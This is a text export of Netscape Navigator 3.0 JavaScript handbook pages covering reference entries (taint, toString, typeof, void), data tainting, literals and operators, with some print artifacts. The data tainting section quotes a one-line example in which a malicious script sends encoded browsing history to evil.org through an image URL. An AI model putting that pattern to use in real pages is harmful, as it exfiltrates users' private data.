74 of 89 30.08.96 15:42
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

suffixes
<<New.>>

Property. This property is currently documented in Determining installed plug-ins with


JavaScript.

taint
<<New.>>

Function. Adds tainting to a property.

Syntax
taint( propertyName)

Parameters
propertyName is the property to taint.

Implemented in
Navigator 3.0

Description
This function is currently documented in Data tainting.

See also
untaint function

target
<<Changed.>>

The target property is now a property of the Area object.

Syntax
The following syntax has been added for the target property:

areaName.target

Parameters
areaName is the value of the NAME attribute of an Area object..

75 of 89 30.08.96 15:42
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

Property of

· Area object

Description
target is a string specifying the name of the window that displays the content of a clicked area.

The target property initially reflects the TARGET attribute of the tag; however, setting target
overrides this attribute.

The target property cannot be assigned the value of a JavaScript expression or variable.

You can set the target property at any time.

Text
<<Changed.>>

The following properties have been added to the Text object:

Property Description
type Reflects the TYPE attribute

text
<<Changed.>>

The text property of the options array can now be changed and the text displayed by the option in
the Select object changes. In previous releases, you could set the text property but the new value
was not reflected in the Select object.

The text property is now a property of the Option object.

Syntax
The following syntax has been added for the text property:

optionName.text

Parameters
optionName is the name of a Select object option created using the Option() constructor.

Property of

· Option object

76 of 89 30.08.96 15:42
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

Textarea
<<Changed.>>

The following properties have been added to the Textarea object:

Property Description
type Specifies that the object is a Textarea object

toString
<<New.>>

Method. Converts an object into a string.

Note: This method existed in 2.0 but was undocumented.

Syntax
objectName.toString([ radix])

Parameters
objectName is the object to convert to a string.

radix specifies the base to use for representing numeric values.

Method of
toString is a method of all objects.

Implemented in
Navigator 2.0 (radix added in 3.0)

Description

Every object has a toString method that is called when it is to be represented as a text value.
toString is also used when an object is referenced in a string concatenation. You can also use
toString within your own code to convert an object into a string.

If an object has no string value, its toString method will return "[object type]" where type is the
object type. For example, if the following Image object named "sealife" exists,
sealife.toString() will return [object Image] .

<IMG NAME="sealife" SRC="images\seaotter.gif" ALIGN="left" VSPACE="10">

When used with an array, toString joins the array and returns one string containing each array
element separated by commas. For example, the following code creates an array and writes output
using toString to convert the array to a string.

77 of 89 30.08.96 15:42
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

var monthNames = new Array("Jan","Feb","Mar","Apr")


document.write("monthNames.toString() is " + monthNames.toString())

The output is as follows:

monthNames.toString() is Jan,Feb,Mar,Apr

For Function objects, toString decompiles the function back into a canonical source string.

Examples
The following example prints the string equivalents of the numbers 0 through 9 in decimal and
binary.

for (x = 0; x < 10; x++) {


document.write("Decimal: ", x.toString(10), " Binary: ", x.toString(2), "<BR>")
}

The preceding example produces the following output:

Decimal: 0 Binary: 0
Decimal: 1 Binary: 1
Decimal: 2 Binary: 10
Decimal: 3 Binary: 11
Decimal: 4 Binary: 100
Decimal: 5 Binary: 101
Decimal: 6 Binary: 110
Decimal: 7 Binary: 111
Decimal: 8 Binary: 1000
Decimal: 9 Binary: 1001

type
<<New.>>

Property. For form elements created with the <INPUT>, <SELECT>, or <TEXTAREA> tags, a
string specifying the type of form element. For mimeType objects, the name of the MIME type.

Syntax
1. objectName.type
2. mimeTypes[ index].type

Parameters
objectName is either the value of the NAME attribute of a form element object (button, checkbox,
hidden, password, radio, reset, select, submit, text, or textarea) or an element in the elements
array.

Property of
Button, Checkbox, FileUpload, Hidden, mimeType, Password, Radio, Reset, Select, Submit,
Text, Textarea

78 of 89 30.08.96 15:42
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

Implemented in
Navigator 3.0

Description
The value of the type property is assigned to form elements as follows:

HTML element Value of type property


INPUT TYPE="button" "button"
INPUT TYPE="checkbox" "checkbox"
INPUT TYPE="file" "file"
INPUT TYPE="hidden" "hidden"
INPUT TYPE="password" "password"
INPUT TYPE="radio" "radio"
INPUT TYPE="reset" "reset"
INPUT TYPE="submit" "submit"
INPUT TYPE="text" "text"
SELECT "select-one"
SELECT MULTIPLE "select-multiple"
TEXTAREA "textarea"

typeof
<<New.>>

Operator. Returns a string indicating the type of the unevaluated operand.

Syntax
1. typeof operand
2. typeof ( operand)

Arguments
operand is the string, variable, keyword, or object for which the type is to be returned. The
parentheses are optional.

Examples
Suppose you define the following variables:

var myFun = new Function("5+2")


var shape="round"
var size=1
var today=new Date()

The typeof operator returns the following results for these variables:

79 of 89 30.08.96 15:42
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

typeof myFun is object


typeof shape is string
typeof size is number
typeof today is object
typeof dontExist is undefined

For the keywords true and null, the typeof operator returns the following results:

typeof true is boolean


typeof null is object

For a number or string, the typeof operator returns the following results:

typeof 62 is number
typeof 'Hello world' is string

For property values, the typeof operator returns the type of value the property contains:

typeof document.lastModified is string


typeof window.length is number
typeof Math.LN2 is number

For methods and functions, the typeof operator returns results as follows:

typeof blur is function


typeof eval is function
typeof parseInt is function
typeof split is undefined

For objects, the typeof operator returns results as follows:

typeof Date is function


typeof Function is function
typeof Math is function
typeof Option is function
typeof String is function

untaint
<<New.>>

Function. Removes tainting from a property.

Syntax
untaint( propertyName)

Parameters
propertyName is the property to remove tainting from.

Implemented in
Navigator 3.0

80 of 89 30.08.96 15:42
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

Description
This function is currently documented in Data tainting.

Examples
In the following example, the variable untainted can be sent in a URL or form post by other
scripts:

untainted = untaint(document.form1.input3)

See also
taint function

value
<<Changed.>>

The value property is now a property of the following objects:


·
·
FileUpload
Option

Syntax
The following syntax has been added for the value property:

fileUploadName.value
optionName.value

Parameters
fileUploadName is either the value of the NAME attribute of a FileUpload object or an element in
the elements array.

optionName is the name of a Select object option created using the Option() constructor.

Description

Select object options

For Select object options created using the Option() constructor, the value property is a string that
initially reflects the VALUE attribute. This value is not displayed onscreen, but is returned to the
server if the option is selected. The value of this property can change when a program modifies it.

You can set the value property at any time.

FileUpload objects

The value property is a string that reflects the current value of a FileUpload object's field. Use the
value property to obtain the file name that the user typed into a FileUpload object.

81 of 89 30.08.96 15:42
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

value is a read-only property.

Property of

·
·
FileUpload
Option object

void
<<New.>>

Operator. Specifies an expression to be evaluated without returning a value.

Syntax
1. javascript:void ( expression)
2. javascript:void expression

Arguments
expression is a JavaScript expression to evaluate. The parentheses surrounding the expression are
optional, but it is good style to use them.

Description
Use the void operator to specify an expression as a hypertext link. The expression is evaluated but
is not loaded in place of the current document.

The following code creates a hypertext link that does nothing when the user clicks it. When the
user clicks the link, void(0) evaluates to 0, but that has no effect in JavaScript.

<A HREF="javascript:void(0)">Click here to do nothing</A>

The following code creates a hypertext link that submits a form when the user clicks it.

<A HREF="javascript:void(document.form.submit())">Click here to submit</A>

See also
Area, link objects

vspace
<<New.>>

Property. A string specifying a margin in pixels between the top and bottom edges of an image
and the surrounding text

Syntax
imageName.vspace

82 of 89 30.08.96 15:42
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

Parameters
imageName is either the name of an Image object or an element in the images array.

Property of
Image

Implemented in
Navigator 3.0

Description
The vspace property reflects the VSPACE attribute of the <IMG> tag. For images created with
the Image() constructor, the value of the vspace property is 0.

vspace is a read-only property.

Examples
See the examples for the height property.

See also
border, height, hspace, width properties

width
<<New.>>

Property. A string specifying the width of an image either in pixels or as a percentage of the
window width.

Syntax
imageName.width

Parameters
imageName is either the name of an Image object or an element in the images array.

Property of
Image

Implemented in
Navigator 3.0

83 of 89 30.08.96 15:42
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

Description
The width property reflects the WIDTH attribute of the <IMG> tag. For images created with the
Image() constructor, the value of the width property is the actual, not the displayed, width of the
image.

width is a read-only property.

Examples
See the examples for the height property.

See also
border, height, hspace, vspace properties

Window
<<Changed.>>

Properties
The following properties have been added to the Window object:

Property Description
opener Specifies the window name of the calling document when a window is opened using
the open method

Methods
The following methods have been added to the Window object:
·
·
blur
focus
· scroll

Event handlers
The following event handlers have been added to the Window object:
·
·
onBlur
onError
· onFocus

Syntax
The following syntax has been added to the <BODY> and <FRAMESET> tags:

<BODY>
...
[onBlur=" handlerText"]

84 of 89 30.08.96 15:42
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

[onFocus=" handlerText"]
...
</BODY>

<FRAMESET>
...
[<FRAME SRC="locationOrURL" NAME="frameName">]
[onBlur=" handlerText"]
[onFocus=" handlerText"]
...
</FRAMESET>

Note: On Windows platforms, placing an onBlur or onFocus event handler in a <FRAMESET>


tag has no effect.

The following syntax has been added to the Window object for defining an onError event handler
for a Window object:

window.onerror= errorHandler

errorHandler is the keyword null, the name of an error-handling function, or a variable or


property that contains null or a valid function reference.

For information on specifying the onError event handler, see onError event handler.

Additional description
The following discussion will be added to the documentation for the Window object; however,
this is not new functionality.

When you reference the Location object within an event handler, you must specify
window.location instead of simply using location . Due to the scoping of static objects in
JavaScript, a call to location without specifying an object name is equivalent to
document.location , which is a synonym for document.URL .

Changes to conceptual information


The following topics are changes or additions to the JavaScript Developer's Guide.

Calling event handlers explicitly


You can now reset an event handler specified by HTML from within JavaScript, for example:

<SCRIPT LANGUAGE="JavaScript">
function fun1() { ... }
function fun2() { ... }
</SCRIPT>
<FORM NAME="myForm">
<INPUT TYPE="button" NAME="myButton" onClick="fun1()">
</FORM>
<SCRIPT>
document.myForm.myButton.onclick = fun2
</SCRIPT>

85 of 89 30.08.96 15:42
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

Note that event handlers are function references, so you must assign fun2 , not fun2() (the latter
calls fun2 and has whatever type and value fun2 returns).

Also, since the event handler HTML attributes are literal function bodies, you cannot use <INPUT
onClick=fun1> in the HTML source to make fun1 the onClick handler for an input; you must call
fun1 instead, as in the example.

Finally, because HTML is case-insensitive while JavaScript is case-sensitive, you must spell
event handler names in JavaScript in lowercase.

Indexing object properties


When you define an object's properties with property names, you cannot refer to these properties
by their ordinal index, as you could in Navigator 2.0. This applies when you create an object and
its properties with a constructor function, as in the above example of the Car object type, and
when you define individual properties explicitly (for example, myCar.color = "red" ).

If you define object properties initially with an index, for example,

myCar[5] = "25 mpg"

then you can subsequently refer to the property as myCar[5] .

The rule is: if you initially define a property by its name, you must always refer to it by its name.
If you initially define a property by an index, you must always refer to it by its index.

The exception to this rule is objects reflected from HTML: for example, the frames, forms,
elements, and anchors arrays. You can always refer to these objects by their ordinal number
(based on where they appear in the document) and by their name (if defined). For example, you
can refer to the second form in a document as document.forms[1] or as document.myform , if the
second <FORM> tag has a NAME attribute of "myform".

JavaScript entities
JavaScript entities allow you to use a JavaScript expression as the value for an HTML attribute.
This allows you to create more flexible HTML constructs.

You may already be familiar with HTML character entities by which you can define characters
with special numerical codes or names by preceding the name with an ampersand and terminating
it with a semicolon. For example, you can include a greater-than symbol (>) with the character
entity &GT; and a less-than symbol (<) with &LT; .

JavaScript entities also start with an ampersand and end with a semicolon. Instead of a name or
number, you use a JavaScript expression enclosed in curly braces {}. You can use JavaScript
entities only where an HTML attribute value would normally go. For example, suppose you
define a variable barWidth. You could create a horizontal rule with the specified percentage width
as follows:

<HR WIDTH="&{barWidth};%">

So, for example, if barWidth were 50, then this would create the following display:

86 of 89 30.08.96 15:42
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

As always, once layout has occurred, the display of a page can change only if you reload the
page.

SRC attribute of SCRIPT tag


The <SCRIPT> HTML tag has a new attribute, SRC, that lets you specify a file as the JavaScript
source (rather than embedding the JavaScript in the HTML). For example:

<HEAD><TITLE>My Page</TITLE>
<SCRIPT SRC="common.js">
...
</SCRIPT>
</HEAD>
<BODY>
...

Any JavaScript statements in a SCRIPT tag with a SRC attribute are ignored. Note, however, that
the closing </SCRIPT> tag is required.

The SRC attribute value can be any URL, relative or absolute. For example:

<SCRIPT SRC="http://www.netscape.com/functions/jsfuncs.js">

External JavaScript files are especially useful to share functions among many different pages.
JavaScript-only files cannot contain any HTML tags: they must contain only JavaScript
statements and function definitions.

JavaScript-only files should have filename suffix .js , and the server must map the .js suffix to
the MIME type "application/x-javascript", which the server sends back in the HTTP header. If the
server does not map the .js filename suffix to application/x-javascript MIME type, Navigator
will not load the JavaScript file specified by the SRC attribute properly.

Note: This requirement does not apply if you are using local files.

NOSCRIPT tag
The <NOSCRIPT> tag is similar to the NOFRAMES tag for Frames. HTML enclosed within the
tag is displayed by a non-JavaScript browser; code enclosed within the tag is hidden and ignored
by Navigator. Use this tag to specify alternate content for browsers that do not support JavaScript,
or in case the user has disabled JavaScript in Options | Network Preferences.

For example:

<NOSCRIPT>
<B>This page uses JavaScript, so you need to get Netscape Navigator 2.0 or later!
<BR><A HREF="http://home.netscape.com/comprod/mirror/index.html">
<IMG SRC="NSNow.gif"></A>
If you are using Navigator 2.0 or later, and you see this message, you need to enable
JavaScript by choosing Options | Network Preferences.
</NOSCRIPT>
...

87 of 89 30.08.96 15:42
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

Data tainting
Navigator (version 2.02 and later) automatically prevents scripts on one server from accessing
properties of documents on a different server. This restriction prevents scripts from fetching
private information such as directory structures or user session history. However, this restriction
also affects some legitimate applications, such as "navigation helper" scripts that use frames and
need to see other frames' content, no matter the origin.

JavaScript now has a feature called data tainting that retains the security restriction but provides a
workaround mechanism for legitimate applications. When data tainting is active, JavaScript in
one window will be able to see properties of another window, no matter what server the other
window's document was loaded from. However, if JavaScript in the first window attempts to send
data derived from the other window's properties to a server, a confirming dialog box is displayed
so the user can cancel or confirm the operation. By default, all properties in the second window
are tainted so they cannot be sent to a server other than the one the documents in the window
came from.

To enable data tainting,

·
·
On Unix, use the setenv command.
On Windows, use set .
· On Macintosh, set the environment variable NS_ENABLE_TAINT. Edit the resource with
type 'Envi' and number 128 in the Netscape application by removing the two ascii slashes
"//" before the NS_ENABLE_TAINT text at the end of the resource.

You can control the tainting of properties with two functions: taint adds tainting to a property and
untaint removes tainting from a property. These functions each take a single property as an
argument.

For example, to remove taint from a form input element so that a script can send it to another
server, use:

untainted = untaint(document.form1.input3)
// now untainted can be sent in a URL or form post by other scripts

Neither taint nor untaint modifies its argument; rather, both functions return a marked or
unmarked reference to the argument object, or copy of the primitive type value (number or
boolean value). You use untaint to clear the "taint code" that marks data as belonging to a server,
and therefore not to be sent by other scripts to different servers. You use taint to mark data that
otherwise is not tainted with your script's "taint code." A script can untaint only data that has its
own "taint code", or has the identity (null) taint code. Data with any other script's "taint code" are
copied and returned by untaint without change or error.

To handle cases where control flow rather than data flow carries tainted information, each
window has a taint accumulator associated with it. The taint accumulator holds taint tested in the
condition part of if, for, and while statements, and mixes different taint codes to create new codes
that identify the combination of data origins (serverA, serverB, serverC, etc.).

The taint accumulator is reset to identity only if it contains exactly the current document's origin
code. Otherwise it accumulates until the document is unloaded. All windows loading documents

88 of 89 30.08.96 15:42
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

from the same origin share a single taint accumulator.

If a script calls taint with no argument, it will mix its own taint code into its accumulator. If it
calls untaint with no argument, and only if its accumulator holds exactly its taint code (not a
mixture), then the accumulator is reset to hold the identity code.

If a window's accumulator holds taint, scripted actions initiated from the context of that window
(form submission; setting location, even of another window's location) are checked. Only if the
accumulated script taint, the taint code of the targeted server, and the taint code of the data being
sent are compatible will the operation proceed. Compatible here means a binary relation: either
that two taint codes are equal, or that at least one is the identity taint code. The identity code is
like zero for addition, hence its name.

If script, server, and data taints are incompatible, a confirming dialog is posted to detail the
conflicting origin URL prefixes, and to allow the user to cancel or OK the URL load or form post.

Accumulated taint propagates across setTimeout and into the evaluation of the first argument to
setTimeout. It propagates through document.write into generated tags, so that a malicious script
cannot signal private information such as session history by generating an HTML tag with an
implicitly-loaded URL SRC parameter:

document.write("<img src=http://evil.org/cgi.bin/fake-img?" +
encode(history) + ">")

Last modified 01/01/70 01:00:00

89 of 89 30.08.96 15:42
Values, Names, and Literals wysiwyg://display.tocframe.5/http://www....zilla/3.0/handbook/javascript/ident.html

JavaScript Values, Names, and Literals


·
·
Values
Variable Names
· Literals

Values
JavaScript recognizes the following types of values:

·
·
numbers, such as 42 or 3.14159
logical (Boolean) values, either true or false
·
·
strings, such as "Howdy!"
null, a special keyword denoting a null value

This relatively small set of types of values, or data types, enables you to perform useful functions
with your applications. Notice that there is no explicit distinction between integer and real-valued
numbers. Nor is there an explicit date data type in Navigator. However, the date object and related
built-in functions enable you to handle dates.

Objects and functions are the other fundamental elements in the language. You can think of
objects as named containers for values, and functions as procedures that your application can
perform.

Datatype Conversion
JavaScript is a loosely typed language. That means that you do not have to specify the datatype of
a variable when you declare it, and datatypes are converted automatically as needed during the
course of script execution. So, for example, you could define a variable as follows:

var answer = 42

And later, you could assign the same variable a string value, for example:

answer = "Thanks for all the fish..."

Because JavaScript is loosely typed, this will not cause an error message.

In general, in expressions involving numeric and string values, JavaScript converts the numeric
values to strings. For example, consider the following statements:

x = "The answer is " + 42


y = 42 + " is the answer."

The first statement will the string "The answer is 42". The second statement will return the string
"42 is the answer".

JavaScript provides several special functions for manipulating string and numeric values:

· evalattempts to evaluate a string representing any JavaScript literals or variables, converting


it to a number.

1 of 4 30.08.96 16:39
Values, Names, and Literals wysiwyg://display.tocframe.5/http://www....zilla/3.0/handbook/javascript/ident.html

·
·
parseInt converts a string to an integer of the specified radix (base), if possible.
parseFloat converts a string to a floating-point number, if possible.

Variables
You use variables to hold values in your application. You give these variables names by which
you reference them, and there are certain rules to which the names must conform.

A JavaScript identifier or name must start with a letter or underscore ("_"); subsequent characters
can also be digits (0-9). Letters include the characters "A" through "Z" (uppercase) and the
characters "a" through "z" (lowercase). JavaScript is case-sensitive.

Some examples of legal names are:

·
·
Number_hits
temp99
· _name

Variable scope
The scope of a variable is where you can use it in a script. In JavaScript, there are two scopes that
a variable can have:

·
·
global: you can use the variable anywhere in the application.
local: you can use the variable within the current function.

To declare a local variable inside a function, use the var keyword, for example:

var total = 0

To declare a global variable, declare the variable by assignment, that is simply assign the desired
value to the variable (either in a function or outside a function), for example:

total = 0

It is good programming practice to declare global variables at the beginning of your script, so that
functions will inherit the variable and its value.

Literals
Literals are the way you represent values in JavaScript. These are fixed values that you literally
provide in your application source, and are not variables. Examples of literals include:

·
·
42
3.14159
· "To be or not to be"

Integers
Integers can be expressed in decimal (base 10), hexadecimal (base 16), or octal (base 8) format. A

2 of 4 30.08.96 16:39
Values, Names, and Literals wysiwyg://display.tocframe.5/http://www....zilla/3.0/handbook/javascript/ident.html

decimal integer literal consists of a sequence of digits (optionally suffixed as described below)
without a leading 0 (zero).

An integer can be expressed in octal or hexadecimal rather than decimal. A leading 0 (zero) on an
integer literal means it is in octal; a leading 0x (or 0X) means hexadecimal. Hexadecimal integers
can include digits (0-9) and the letters a-f and A-F. Octal integers can include only the digits 0-7.

Floating Point Literals


A floating point literal can have the following parts: a decimal integer, a decimal point ("."), a
fraction (another decimal number), an exponent, and a type suffix. The exponent part is an "e" or
"E" followed by an integer, which can be signed (preceded by a "+" or "-"). A floating point
literal must have at least one digit, plus either a decimal point or "e" (or "E"). Some examples of
floating point literals are:

·
·
3.1415
-3.1E12
·
·
.1e12
2E-12

Boolean Literals
The boolean type has two literal values: true and false.

String Literals
A string literal is zero or more characters enclosed in double (") or single (') quotes. A string must
be delimited by quotes of the same type; that is, either both single quotes or double quotes. The
following are examples of string literals:

·
·
"blah"
'blah'
·
·
"1234"
"one line \n another line"

Special Characters

You can use the following special characters in JavaScript string literals:

·
·
\b indicates a backspace.
\f indicates a a form feed.
·
·
\n indicates a new line character.
\r indicates a carriage return.
· \t indicates a tab character.

Escaping Characters

You can insert quotes inside of strings by preceding them by a backslash. This is known as
escaping the quotes. For example,

var quote = "He read \"The CHe read "The Cremation of Sam McGee" by R.W. Service

3 of 4 30.08.96 16:39
Values, Names, and Literals wysiwyg://display.tocframe.5/http://www....zilla/3.0/handbook/javascript/ident.html

4 of 4 30.08.96 16:39
JavaScript Values, Expressions, and Operators http://www.netscape.com/eng/mozilla/3.0/handbook/javascript/expr.html

JavaScript Expressions and Operators


·
·
Expressions
Operators
o Arithmetic Operators
o Bitwise Operators
o Logical Operators
o Comparison Operators
o String Operators
o Operator Precedence

Expressions
An expression is any valid set of literals, variables, operators, and expressions that evaluates to a
single value. The value may be a number, a string, or a logical value. Conceptually, there are two
types of expressions: those that assign a value to a variable, and those that simply have a value.
For example, the expression

x = 7

is an expression that assigns x the value 7. This expression itself evaluates to 7. Such expressions
use assignment operators. On the other hand, the expression

3 + 4

simply evaluates to 7; it does not perform an assignment. The operators used in such expressions
are referred to simply as operators.

JavaScript has the following kinds of expressions:

·
·
Arithmetic: evaluates to a number, for example
String: evaluates to a character string, for example "Fred" or "234"
· Logical: evaluates to true or false

The special keyword null denotes a null value. In contrast, variables that have not been assigned a
value are undefined, and cannot be used without a run-time error.

Conditional Expressions
A conditional expression can have one of two values based on a condition. The syntax is

(condition) ? val1 : val2

If condition is true, the expression has the value of val1, Otherwise it has the value of val2. You
can use a conditional expression anywhere you would use a standard expression.

For example,

status = (age >= 18) ? "adult" : "minor"

This statement assigns the value "adult" to the variable status if age is eighteen or greater.
Otherwise, it assigns the value "minor" to status.

1 of 7 30.08.96 16:43
JavaScript Values, Expressions, and Operators http://www.netscape.com/eng/mozilla/3.0/handbook/javascript/expr.html

Assignment Operators (=, +=, -=, *=, /=)


An assignment operator assigns a value to its left operand based on the value of its right operand.
The basic assignment operator is equal (=), which assigns the value of its right operand to its left
operand. That is, x = y assigns the value of y to x.

The other operators are shorthand for standard arithmetic operations as follows:

·
·
x += y means x = x + y
x -= y means x = x - y
·
·
x *= y means x = x * y
x /= y means x = x / y
· x %= y means x = x % y

There are additional assignment operators for bitwise operations:

·
·
x <<= y means x = x << y
x >>= y means x = x >> y
·
·
x >>>= means x = x >>> y
x &= means x = x & y
·
·
x ^= means x = x ^ y
x |= means x = x | y

Operators
JavaScript has arithmetic, string, and logical operators. There are both binary and unary
operators. A binary operator requires two operands, one before the operator and one after the
operator:

operand1 operator operand2

For example, 3 + 4 or x * y

A unary operator requires a single operand, either before or after the operator:

operator operand

or

operand operator

For example x++ or ++x .

Arithmetic Operators
Arithmetic operators take numerical values (either literals or variables) as their operands and
return a single numerical value.

Standard Arithmetic Operators

The standard arthmetic operators are addition (+), subtraction (-), multiplication (*), and division

2 of 7 30.08.96 16:43
JavaScript Values, Expressions, and Operators http://www.netscape.com/eng/mozilla/3.0/handbook/javascript/expr.html

(/). These operators work in the standard way.

Modulus (%)

The modulus operator is used as follows:


var1 % var2

The modulus operator returns the first operand modulo the second operand, that is, var1 modulo
var2, in the statement above, where var1 and var2 are variables. The modulo function is the
remainder of integrally dividing var1 by var2. For example, 12 % 5 returns 2.

Increment (++)

The increment operator is used as follows:


var++ or ++var

This operator increments (adds one to) its operand and returns a value. If used postfix, with
operator after operand (for example x++), then it returns the value before incrementing. If used
prefix with operator before operand (for example, ++x), then it returns the value after
incrementing.

For example, if x is 3, then the statement

y = x++

increments x to 4 and sets y to 3.

If x is 3, then the statement

y = ++x

increments x to 4 and sets y to 4.

Decrement (--)

The decrement operator is used as follows:

var-- or --var

This operator decrements (subtracts one from) its operand and returns a value. If used postfix (for
example x--) then it returns the value before decrementing. If used prefix (for example, --x), then
it returns the value after decrementing.

For example, if x is 3, then the statement

y = x--

decrements x to 2 and sets y to 3.

If x is 3, then the statement

y = --x

3 of 7 30.08.96 16:43
JavaScript Values, Expressions, and Operators http://www.netscape.com/eng/mozilla/3.0/handbook/javascript/expr.html

decrements x to 2 and sets y to 2.

Unary negation (-)

The unary negation operator must precede its operand. It negates its operand. For example,

x = -x

negates the value of x; that is if x were 3, it would become -3.

Bitwise Operators
Bitwise operators treat their operands as a set of bits (zeros and ones), rather than as decimal,
hexadecimal, or octal numbers. For example, the decimal number 9 has a binary representation of
1001. Bitwise operators perform their operations on such binary representations, but they return
standard JavaScript numerical values.

Bitwise Logical Operators

The bitwise logical operators work conceptually as follows:

· The operands are converted to 32-bit integers, and expressed a series of bits (zeros and
ones).
· Each bit in the first operand is paired with the corresponding bit in the second operand: first
bit to first bit, second bit to second bit, and so on.
· The operator is applied to each pair of bits, and the result is constructed bitwise.

The bitwise operators are:

·
·
Bitwise AND & returns a one if both operands are ones.
Bitwise OR | returns a one if either operand is one.
· Bitwise XOR ^ returns a one if one but not both operands are one.

For example, the binary representation of 9 is 1001, and the binary representation of 15 is 1111.
So, when the bitwise operators are applied to these values, the results are as follows:

·
·
15 & 9 yields 9 (1111 & 1001 = 1001)
15 | 9 yields 15 (1111 | 1001 = 1111)
· 15 ^ 9 yields 6 (1111 ^ 1001 = 0110)

Bitwise Shift Operators

The bitwise shift operators are:

·
·
Left Shift (<<)
Sign-propagating Right Shift (>>)
· Zero-fill Right shift (>>>)

The shift operators take two operands: the first is a quantity to be shifted, and the second specifies
the number of bit positions by which the first operand is to be shifted. The direction of the shift
operation is controlled by the operator used.

Shift operators convert their operands to 32-bit integers, and return a result of the same type as the

4 of 7 30.08.96 16:43
JavaScript Values, Expressions, and Operators http://www.netscape.com/eng/mozilla/3.0/handbook/javascript/expr.html

left operator.

Left Shift (<<)

This operator shifts the first operand the specified number of bits to the left. Excess bits shifted off
to the left are discarded. Zero bits are shifted in from the right.

For example, 9<<2 yields 36, because 1001 shifted two bits to the left becomes 100100, which is
36.

Sign-propagating Right Shift (>>)

This operator shifts the first operand the specified number of bits to the right. Excess bits shifted
off to the right are discarded. Copies of the leftmost bit are shifted in from the left.

For example, 9>>2 yields 2, because 1001 shifted two bits to the right becomes 10, which is 2.
Likewise, -9>>2 yields -3, because the sign is preserved.

Zero-fill right shift (>>>)

This operator shifts the first operand the specified number of bits to the left. Excess bits shifted off
to the right are discarded. Zero bits are shifted in from the left.

For example, 19>>>2 yields 4, because 10011 shifted two bits to the right becomes 100, which is
4. For postive numbers, zero-fill right shift and sign-propagating right shift yield the same result.

Logical Operators
Logical operators take logical (Boolean) values as operands. They return a logical value. Logical
values are true and false.

And (&&)

Usage: expr1 && expr2

The logical "and" operator returns true if both logical expressions expr1 and expr2 are true.
Otherwise, it returns false.

Or (||)

Usage: expr1 || expr2

The logical "or" operator returns true if either logical expression expr1 or expr2 is true. If both
expr1 and expr2 are false, then it returns false.

Not (!)

Usage: !expr

The logical "not" operator is a unary operator that negates its operand expression expr. That is, if
expr is true, it returns false, and if expr is false, then it returns true.

Short-Circuit Evaluation

5 of 7 30.08.96 16:43
JavaScript Values, Expressions, and Operators http://www.netscape.com/eng/mozilla/3.0/handbook/javascript/expr.html

As logical expressions are evaluated left to right, they are tested for possible "short circuit"
evaluation using the following rule:

·
·
false && anything is short-circuit evaluated to false.
true || anything is short-circuit evaluated to true.

The rules of logic guarantee that these evaluations will always be correct. Note that the anything
part of the above expressions is not evaluated, so any side effects of doing so do not take effect.

Comparison Operators (= =, >, >=, <, <=, !=)


A comparison operator compares its operands and returns a logical value based on whether the
comparison is true or not. The operands may be numerical or string values. When used on string
values, the comparisons are based on the standard lexicographical ordering.

The operators are:

·
·
Equal (= =): returns true if the operands are equal.
Not equal (!=): returns true if the operands are not equal.
· Greater than (>): returns true if left operand is greater than right operand. Example: x > y
returns true if x is greater than y.
· Greater than or equal to (>=): returns true if left operand is greater than or equal to right
operand. Example: x >= y returns true if x is greater than or equal to y.
· Less than (<): returns true if left operand is less than right operand. Example: x < y returns
true if x is less than y.
· Less than or equal to (<=): returns true if left operand is less than or equal to right operand.
Example: x <= y returns true if x is less than or equal to y.

String Operators
In addition to the comparison operators, which may be used on string values, the concatenation
operator (+) concatenates two string values together, returning another string that is the union of
the two operand strings. For example,

"my " + "string"

returns the string

"my string"

The shorthand assignment operator += can also be used to concatenate strings. For example, if the
variable mystring is a string that has the value "alpha", then the expression

mystring += "bet"

evaluates to "alphabet" and assigns this value to mystring .

Operator Precedence
The precedence of operators determines the order they are applied when evaluating an expression.
You can override operator precedence by using parentheses.

6 of 7 30.08.96 16:43
JavaScript Values, Expressions, and Operators http://www.netscape.com/eng/mozilla/3.0/handbook/javascript/expr.html

The precedence of operators, from lowest to highest is as follows:

comma ,
assignment = += -= *= /= %= <<= >>= >>>= &= ^= |=
conditional ?:
logical-or ||
logical-and &&
bitwise-or |
bitwise-xor ^
bitwise-and &
equality == !=
relational < <= > >=
bitwise shift << >> >>>
addition/subtraction + -
multiply/divide * / %
negation/increment ! ~ - ++ --
call, member () [] .

7 of 7 30.08.96 16:43
wysiwyg://display.tocfr...k/javascript/model.html wysiwyg://display.tocframe.5/http://www....zilla/3.0/handbook/javascript/model.html

The JavaScript Object Model


JavaScript is based on a simple object-oriented paradigm. An object is a construct with properties
that are JavaScript variables. Properties can be other objects. Functions associated with an object
are known as the object's methods.

